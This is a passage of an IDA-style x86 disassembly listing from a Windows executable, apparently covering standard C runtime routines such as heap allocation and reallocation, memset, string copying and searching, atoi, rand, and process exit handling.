loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41BBD6
; ---------------------------------------------------------------------------
loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj
or dword ptr [esi+0Ch], 20h
loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j
; sub_41BAFA+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41BBC7
sub_41BAFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41D9B3+35p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41BBFD
push [ebp+arg_4]
call sub_41BEB5
pop ecx
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41BC12
push [ebp+arg_0]
call sub_41BA91
pop ecx
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BC12: ; CODE XREF: sub_41BBE2+20j
mov eax, dword_4DD388
cmp eax, 3
jnz loc_41BD22
loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BCFE
push [ebp+arg_0]
call sub_41E717
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41BCD9
cmp esi, dword_4DD380
ja short loc_41BC92
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41EF20
add esp, 0Ch
test eax, eax
jnz short loc_41BC8E
push esi
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BC92
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BC72
mov eax, esi
loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj
push eax
push ebx
push edi
call sub_41CD20
push ebx
call sub_41E717
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41E742
add esp, 18h
loc_41BC8E: ; CODE XREF: sub_41BBE2+74j
test edi, edi
jnz short loc_41BCD5
loc_41BC92: ; CODE XREF: sub_41BBE2+62j
; sub_41BBE2+81j
test esi, esi
jnz short loc_41BC99
push 1
pop esi
loc_41BC99: ; CODE XREF: sub_41BBE2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DD384
call dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BCD5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41BCC1
mov eax, esi
loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj
push eax
push ecx
push edi
call sub_41CD20
push [ebp+arg_0]
push ebx
call sub_41E742
add esp, 14h
loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj
; sub_41BBE2+D0j
test ebx, ebx
jnz short loc_41BCFA
loc_41BCD9: ; CODE XREF: sub_41BBE2+56j
test esi, esi
jnz short loc_41BCE0
push 1
pop esi
loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call dword_4271A0 ; RtlReAllocateHeap
mov edi, eax
loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j
test edi, edi
jnz short loc_41BD1B
loc_41BCFE: ; CODE XREF: sub_41BBE2+43j
cmp dword_4DBE48, 0
jz short loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BC20
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj
; sub_41BBE2+123j ...
mov eax, edi
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BD22: ; CODE XREF: sub_41BBE2+38j
cmp eax, 2
jnz loc_41BE3D
cmp esi, 0FFFFFFE0h
ja short loc_41BD3F
test esi, esi
jbe short loc_41BD3C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41BBE2+150j
push 10h
pop esi
loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj
; sub_41BBE2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BE1F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41F472
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BE03
cmp esi, dword_43CE74
jnb short loc_41BDC7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F83A
add esp, 10h
test eax, eax
jz short loc_41BD8D
mov edi, [ebp+arg_0]
jmp short loc_41BDBF
; ---------------------------------------------------------------------------
loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j
push edi
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BDC7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDA6
mov eax, esi
loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j
test edi, edi
jnz loc_41BD1B
loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj
; sub_41BBE2+1B6j
push esi
push 0
push dword_4DD384
call dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BE1F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDE8
mov eax, esi
loc_41BDE8: ; CODE XREF: sub_41BBE2+202j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
jmp short loc_41BE17
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call dword_4271A0 ; RtlReAllocateHeap
mov edi, eax
loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj
test edi, edi
jnz loc_41BD1B
loc_41BE1F: ; CODE XREF: sub_41BBE2+162j
; sub_41BBE2+1F8j
cmp dword_4DBE48, 0
jz loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BD3F
jmp short loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BE3D: ; CODE XREF: sub_41BBE2+143j
; sub_41BBE2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BE67
test esi, esi
jnz short loc_41BE4B
push 1
pop esi
loc_41BE4B: ; CODE XREF: sub_41BBE2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call dword_4271A0 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41BE7D
loc_41BE67: ; CODE XREF: sub_41BBE2+260j
cmp dword_4DBE48, 0
jz short loc_41BE7D
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BE3D
loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj
; sub_41BBE2+134j ...
xor eax, eax
loc_41BE7D: ; CODE XREF: sub_41BBE2+16j
; sub_41BBE2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBE2 endp
; =============== S U B R O U T I N E =======================================
sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41FD3D
test eax, eax
jnz short loc_41BE8C
retn
; ---------------------------------------------------------------------------
loc_41BE8C: ; CODE XREF: sub_41BE82+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41FBCD
add esp, 10h
retn
sub_41BE82 endp
; =============== S U B R O U T I N E =======================================
sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+57DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BE82
add esp, 0Ch
retn
sub_41BEA2 endp
; =============== S U B R O U T I N E =======================================
sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40A928+63p ...
arg_0 = dword ptr 4
push dword_4DBE48
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41BEB5 endp
; =============== S U B R O U T I N E =======================================
sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap
; sub_41D9A5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BEF0
loc_41BECE: ; CODE XREF: sub_41BEC7+27j
push [esp+arg_0]
call sub_41BEF3
test eax, eax
pop ecx
jnz short locret_41BEF2
cmp [esp+arg_4], eax
jz short locret_41BEF2
push [esp+arg_0]
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BECE
loc_41BEF0: ; CODE XREF: sub_41BEC7+5j
xor eax, eax
locret_41BEF2: ; CODE XREF: sub_41BEC7+13j
; sub_41BEC7+19j
retn
sub_41BEC7 endp
; =============== S U B R O U T I N E =======================================
sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DD388
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BF17
cmp esi, dword_4DD380
ja short loc_41BF49
push esi
call sub_41EA6B
test eax, eax
pop ecx
jz short loc_41BF49
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BF17: ; CODE XREF: sub_41BEF3+Dj
cmp eax, 2
jnz short loc_41BF49
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BF2C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BF2F
; ---------------------------------------------------------------------------
loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj
push 10h
pop esi
loc_41BF2F: ; CODE XREF: sub_41BEF3+37j
cmp esi, dword_43CE74
ja short loc_41BF56
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
test eax, eax
pop ecx
jnz short loc_41BF65
jmp short loc_41BF56
; ---------------------------------------------------------------------------
loc_41BF49: ; CODE XREF: sub_41BEF3+15j
; sub_41BEF3+20j ...
test esi, esi
jnz short loc_41BF50
push 1
pop esi
loc_41BF50: ; CODE XREF: sub_41BEF3+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BF56: ; CODE XREF: sub_41BEF3+42j
; sub_41BEF3+54j
push esi
push 0
push dword_4DD384
call dword_427150 ; RtlAllocateHeap
loc_41BF65: ; CODE XREF: sub_41BEF3+52j
pop esi
retn
sub_41BEF3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BFC3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BFB7
neg ecx
and ecx, 3
jz short loc_41BF99
sub edx, ecx
loc_41BF93: ; CODE XREF: sub_41BF70+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BF93
loc_41BF99: ; CODE XREF: sub_41BF70+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BFB7
rep stosd
test edx, edx
jz short loc_41BFBD
loc_41BFB7: ; CODE XREF: sub_41BF70+18j
; sub_41BF70+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BFB7
loc_41BFBD: ; CODE XREF: sub_41BF70+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BFC3: ; CODE XREF: sub_41BF70+Aj
mov eax, [esp+arg_0]
retn
sub_41BF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFD0 proc near ; CODE XREF: sub_401221+49Fp
; sub_401221+4BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41C053
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BFF4
shr ecx, 2
jnz short loc_41C061
jmp short loc_41C015
; ---------------------------------------------------------------------------
loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj
; sub_41BFD0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41C022
test al, al
jz short loc_41C02A
test esi, 3
jnz short loc_41BFF4
mov ebx, ecx
shr ecx, 2
jnz short loc_41C061
loc_41C010: ; CODE XREF: sub_41BFD0+8Fj
and ebx, 3
jz short loc_41C022
loc_41C015: ; CODE XREF: sub_41BFD0+22j
; sub_41BFD0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41C04E
dec ebx
jnz short loc_41C015
loc_41C022: ; CODE XREF: sub_41BFD0+2Bj
; sub_41BFD0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj
test edi, 3
jz short loc_41C044
loc_41C032: ; CODE XREF: sub_41BFD0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41C0C6
test edi, 3
jnz short loc_41C032
loc_41C044: ; CODE XREF: sub_41BFD0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41C0B7
loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj
; sub_41BFD0+F4j
mov [edi], al
inc edi
loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj
dec ebx
jnz short loc_41C04B
pop ebx
pop esi
loc_41C053: ; CODE XREF: sub_41BFD0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C059: ; CODE XREF: sub_41BFD0+A9j
; sub_41BFD0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C010
loc_41C061: ; CODE XREF: sub_41BFD0+20j
; sub_41BFD0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C059
test dl, dl
jz short loc_41C0AB
test dh, dh
jz short loc_41C0A1
test edx, 0FF0000h
jz short loc_41C097
test edx, 0FF000000h
jnz short loc_41C059
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C097: ; CODE XREF: sub_41BFD0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj
xor edx, edx
mov [edi], edx
loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j
; sub_41BFD0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41C0C1
loc_41C0B7: ; CODE XREF: sub_41BFD0+79j
xor eax, eax
loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41C0B9
loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j
and ebx, 3
jnz short loc_41C04B
loc_41C0C6: ; CODE XREF: sub_41BFD0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BFD0 endp
; =============== S U B R O U T I N E =======================================
sub_41C0CE proc near ; CODE XREF: sub_41C159+4p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41C0D6: ; CODE XREF: sub_41C0CE+34j
cmp dword_43D084, 1
jle short loc_41C0EE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C0FD
; ---------------------------------------------------------------------------
loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej
test eax, eax
jz short loc_41C104
inc edi
jmp short loc_41C0D6
; ---------------------------------------------------------------------------
loc_41C104: ; CODE XREF: sub_41C0CE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41C114
cmp esi, 2Bh
jnz short loc_41C118
loc_41C114: ; CODE XREF: sub_41C0CE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41C118: ; CODE XREF: sub_41C0CE+44j
xor ebx, ebx
loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj
cmp dword_43D084, 1
jle short loc_41C12F
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C13A
; ---------------------------------------------------------------------------
loc_41C12F: ; CODE XREF: sub_41C0CE+53j
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj
test eax, eax
jz short loc_41C14B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41C11A
; ---------------------------------------------------------------------------
loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41C154
neg eax
loc_41C154: ; CODE XREF: sub_41C0CE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41C0CE endp
; =============== S U B R O U T I N E =======================================
sub_41C159 proc near ; CODE XREF: sub_401221+306p
; sub_401ACD+717p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41C0CE
pop ecx
retn
sub_41C159 endp
; =============== S U B R O U T I N E =======================================
sub_41C164 proc near ; CODE XREF: sub_41E1D3+93p
mov eax, off_43AE1C
test eax, eax
jz short loc_41C16F
call eax ; sub_41D124
loc_41C16F: ; CODE XREF: sub_41C164+7j
push offset dword_429028
push offset dword_429014
call sub_41C24C
push offset dword_429010
push offset dword_429000
call sub_41C24C
add esp, 10h
retn
sub_41C164 endp
; =============== S U B R O U T I N E =======================================
sub_41C191 proc near ; CODE XREF: sub_41E1D3+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C191 endp
; =============== S U B R O U T I N E =======================================
sub_41C1A2 proc near ; CODE XREF: .packed:0041E2C4p
; sub_41E2C9+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C1A2 endp
; =============== S U B R O U T I N E =======================================
sub_41C1B3 proc near ; CODE XREF: sub_41C191+8p
; sub_41C1A2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DBE24, edi
jnz short loc_41C1D0
push [esp+4+arg_0]
call dword_427104 ; GetCurrentProcess
push eax
call dword_4270FC ; TerminateProcess
loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DBE20, edi
mov byte_4DBE1C, bl
jnz short loc_41C224
mov eax, dword_4DD39C
test eax, eax
jz short loc_41C213
mov ecx, dword_4DD398
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41C212
loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41C207
call eax
loc_41C207: ; CODE XREF: sub_41C1B3+50j
sub esi, 4
cmp esi, dword_4DD39C
jnb short loc_41C1FF
loc_41C212: ; CODE XREF: sub_41C1B3+4Aj
pop esi
loc_41C213: ; CODE XREF: sub_41C1B3+3Cj
push offset dword_429034
push offset dword_42902C
call sub_41C24C
pop ecx
pop ecx
loc_41C224: ; CODE XREF: sub_41C1B3+33j
push offset dword_429040
push offset dword_429038
call sub_41C24C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41C24A
push [esp+4+arg_0]
mov dword_4DBE24, edi
call dword_42706C ; ExitProcess
loc_41C24A: ; CODE XREF: sub_41C1B3+85j
pop edi
retn
sub_41C1B3 endp
; =============== S U B R O U T I N E =======================================
sub_41C24C proc near ; CODE XREF: sub_41C164+15p
; sub_41C164+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41C251: ; CODE XREF: sub_41C24C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41C264
mov eax, [esi]
test eax, eax
jz short loc_41C25F
call eax
loc_41C25F: ; CODE XREF: sub_41C24C+Fj
add esi, 4
jmp short loc_41C251
; ---------------------------------------------------------------------------
loc_41C264: ; CODE XREF: sub_41C24C+9j
pop esi
retn
sub_41C24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C266 proc near ; CODE XREF: sub_401221+18Fp
; sub_401221+295p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C2A6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C2B3
; ---------------------------------------------------------------------------
loc_41C2A6: ; CODE XREF: sub_41C266+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C2B3: ; CODE XREF: sub_41C266+3Ej
mov eax, esi
pop esi
leave
retn
sub_41C266 endp
; =============== S U B R O U T I N E =======================================
sub_41C2B8 proc near ; CODE XREF: sub_401221+45p
; sub_401ACD+315Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43AE00, eax
retn
sub_41C2B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C2C2 proc near ; CODE XREF: sub_401221:loc_401379p
; sub_401221:loc_4016A7p ...
mov eax, dword_43AE00
imul eax, 343FDh
add eax, 269EC3h
mov dword_43AE00, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41C2C2 endp
; =============== S U B R O U T I N E =======================================
sub_41C2E0 proc near ; CODE XREF: sub_401221+12Dp
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C35A
mov dh, [ecx+1]
test dh, dh
jz short loc_41C347
loc_41C2F8: ; CODE XREF: sub_41C2E0+52j
; sub_41C2E0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41C31A
test al, al
jz short loc_41C314
loc_41C309: ; CODE XREF: sub_41C2E0+32j
mov al, [esi]
inc esi
loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj
cmp al, dl
jz short loc_41C31A
test al, al
jnz short loc_41C309
loc_41C314: ; CODE XREF: sub_41C2E0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C31A: ; CODE XREF: sub_41C2E0+23j
; sub_41C2E0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41C30C
lea edi, [esi-1]
loc_41C324: ; CODE XREF: sub_41C2E0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C353
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41C2F8
mov al, [ecx+3]
test al, al
jz short loc_41C353
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41C324
jmp short loc_41C2F8
; ---------------------------------------------------------------------------
loc_41C347: ; CODE XREF: sub_41C2E0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C996
; ---------------------------------------------------------------------------
loc_41C353: ; CODE XREF: sub_41C2E0+49j
; sub_41C2E0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C35A: ; CODE XREF: sub_41C2E0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41C2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C360 proc near ; CODE XREF: sub_401221+11Ap
; sub_401ACD+1C15p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C39F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C3AC
; ---------------------------------------------------------------------------
loc_41C39F: ; CODE XREF: sub_41C360+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C3AC: ; CODE XREF: sub_41C360+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3B1 proc near ; CODE XREF: sub_401221+F7p
; sub_401ACD+2177p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B9C0
cmp eax, 1
pop ecx
jb short loc_41C3EC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C3EC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C3E8
push 2
push ebx
push esi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C3E8: ; CODE XREF: sub_41C3B1+25j
inc ebx
inc ebx
jmp short loc_41C3F6
; ---------------------------------------------------------------------------
loc_41C3EC: ; CODE XREF: sub_41C3B1+18j
; sub_41C3B1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C3F6
and byte ptr [eax], 0
loc_41C3F6: ; CODE XREF: sub_41C3B1+39j
; sub_41C3B1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C46E
loc_41C409: ; CODE XREF: sub_41C3B1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DD261[edx], 4
jz short loc_41C41A
inc eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C41A: ; CODE XREF: sub_41C3B1+64j
cmp cl, 2Fh
jz short loc_41C42E
cmp cl, 5Ch
jz short loc_41C42E
cmp cl, 2Eh
jnz short loc_41C434
mov [ebp+var_4], eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj
; sub_41C3B1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C434: ; CODE XREF: sub_41C3B1+67j
; sub_41C3B1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C409
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C46E
cmp [ebp+arg_8], 0
jz short loc_41C469
sub edi, ebx
cmp edi, esi
jb short loc_41C452
mov edi, esi
loc_41C452: ; CODE XREF: sub_41C3B1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420B29
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C469: ; CODE XREF: sub_41C3B1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C478
; ---------------------------------------------------------------------------
loc_41C46E: ; CODE XREF: sub_41C3B1+56j
; sub_41C3B1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C478
and byte ptr [ecx], 0
loc_41C478: ; CODE XREF: sub_41C3B1+BBj
; sub_41C3B1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C4CB
cmp edi, ebx
jb short loc_41C4CB
cmp [ebp+arg_C], 0
jz short loc_41C4A8
sub edi, ebx
cmp edi, esi
jb short loc_41C491
mov edi, esi
